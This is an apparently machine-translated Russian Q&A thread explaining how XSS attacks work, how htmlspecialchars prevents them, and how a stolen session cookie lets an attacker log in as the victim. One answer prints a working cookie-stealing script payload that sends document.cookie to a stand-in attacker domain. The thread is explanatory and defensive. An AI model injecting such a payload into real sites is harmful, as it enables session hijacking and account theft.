Итак, предотвращение веб-сайта от атаки XSS очень просто, вам просто нужно использовать функцию htmlspecialchars, и вы хороши.
Но если разработчик забыл использовать его, что может сделать злоумышленник/хакер? Он может получить ваш session_id, не так ли? И вот вопрос. Что он может с этим сделать?
спасибо.Как работает XSS-атака?
Таким образом, предотвращение веб-сайта от атаки XSS очень просто, вам просто нужно использовать функцию htmlspecialchars, и вы хороши.
Право. Используйте его в любом месте, когда вы собираетесь повторно отображать управляемый пользователем вход. Это касается всех частей HTTP-запроса: заголовков, тела и параметров.
Но если разработчик забыл использовать его, что может сделать злоумышленник/хакер?
S/he может вставить вредоносный HTML/script. Например.следующее в некоторых сообщений/комментариев на веб-странице:
<script>document.write('<img src="http://hackersdomain.com/fake.gif?' + escape(document.cookie) + '" width=0 height=0>');</script>
выше будет запрашивать изображение из mailicious домена вместе с документом печенье в качестве строки запроса.
Он может получить ваш session_id, не так ли? И вот вопрос. Что он может с этим сделать?
Идентификатор сеанса хранится в файле cookie. Как только хакер уведомляется о том, что изображение было запрошено с файлом cookie в строке запроса, все, что ему нужно сделать, это просто отредактировать cookie браузера, чтобы включить тот же идентификатор сеанса, чтобы войти в систему как исходный пользователь. Это, очевидно, очень опасно, если исходный пользователь является администратором сайта.
Начать чтение о XSS здесь: http://en.wikipedia.org/wiki/XSS и http://en.wikipedia.org/wiki/Cross-site_scripting
Атакующий А получает член B для доступа к сайту C с учетными данными Б через тщательно выстроенной URI в.
A может затем запустить любой JS, который им нравится на C, используя учетные данные B.
Это позволяет им:
Если у вас есть уязвимость XSS на вашем веб-сайт, тогда хакер может вставить любой HTML-код на страницу, включая тег <script>. Если я войду на ваш веб-сайт и перейду на атакующую страницу, в моем браузере будет запущен JavaScript, вставленный хакером, и сделайте мой браузер так, как планировал хакер.
Как отправить запрос POST на ваш сервер, чтобы изменить мой пароль, а затем загрузить URL-адрес с сервера хакера, чтобы уведомить его о моем номере учетной записи, чтобы он мог войти в систему и украсть мою учетную запись.
Это лучший explenation из XSS я когда-либо столкнулся: Flash Animation Example
Вот Second Video
Эй, что, если я использую 'ini_set ('session.use_only_cookies', 1);' в моем скрипт? Тем не менее, 'document.cookie' будет работать? –